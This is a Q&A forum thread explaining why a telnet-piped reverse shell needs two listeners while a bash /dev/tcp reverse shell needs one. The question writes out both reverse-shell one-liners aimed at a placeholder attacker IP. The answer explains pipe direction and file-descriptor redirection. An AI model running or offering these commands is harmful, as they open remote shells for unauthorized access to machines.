Why does this example of reverse shell backdoor require two listeners? The Listener is using nc command(nc -l ).

telnet <attacker_ip> <port_a> | /bin/bash | telnet <attacker_ip> <port_b>

Though example below of reverse shell backdoor doesn't need two listener, it's just one required.

/bin/bash -i > dev/tcp<attacker_ip>/<port> 0<&1 2>&1

I looked for the related question but can not find out the answer exactly match what I want to know...


Pipes are "half duplex" connections: data only flows through them in one direction (from the left-hand program to the right-hand program). If you're using pipes to connect your shell to the network, you need two of them: one to handle input, and one to handle output.

Network connections, such as are provided by the /dev/tcp pseudo-filesystem in your second example, are bidirectional: data can flow in both directions. The output redirection (> /dev/tcp/<attacker_ip>/<port> creates the network and hooks the shell's standard output to the connection input. 0<&1 means "connect standard input to the same place as standard output" (the network connection), and 2>&1 means "connect error output to the same place as standard output" (the network connection, again).

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.